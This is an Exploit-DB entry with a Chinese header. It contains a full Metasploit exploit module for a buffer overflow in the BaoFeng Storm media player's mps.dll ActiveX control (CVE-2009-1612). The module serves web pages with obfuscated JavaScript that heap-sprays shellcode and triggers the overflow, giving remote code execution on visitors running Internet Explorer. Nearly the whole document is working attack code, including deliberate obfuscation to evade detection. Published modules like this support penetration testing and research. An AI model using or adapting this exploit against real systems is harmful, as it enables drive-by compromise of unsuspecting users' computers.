标题: BaoFeng Storm - 'mps.dll' ActiveX OnBeforeVideoDownload Buffer Overflow (Metasploit) EDB-ID: 16553 CVE: 2009-1612 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: baofeng_storm_onbeforevideodownload.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX
    control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing
    an overly long string to the method "OnBeforeVideoDownload" an attacker can execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2009-1612' ],
     [ 'OSVDB', '54169' ],
     [ 'BID', '34789' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/8579' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # untested, please contribute the vulnerable software if possible.
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Apr 30 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
    ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # ActiveX parameters
  clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
  progid = "MPS.StormPlayer.1"

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Prepare the heap spray parameters
  spray_addr = 0x0c0c0c0c
  spray_num = "0x%x" % spray_addr
  spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%')

  # Generate the final javascript
  js = %Q|
try {
var vulnerable = new ActiveXObject('#{progid}');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var evil_string = '';
while (evil_string.length < 4150)
evil_string += my_unescape('#{spray_str}');
vulnerable.OnBeforeVideoDownload(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|

  # Obfuscate the javascript
  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => %w{ vulnerable shellcode my_unescape index evil_string }
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()

  # Generate the final HTML
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16553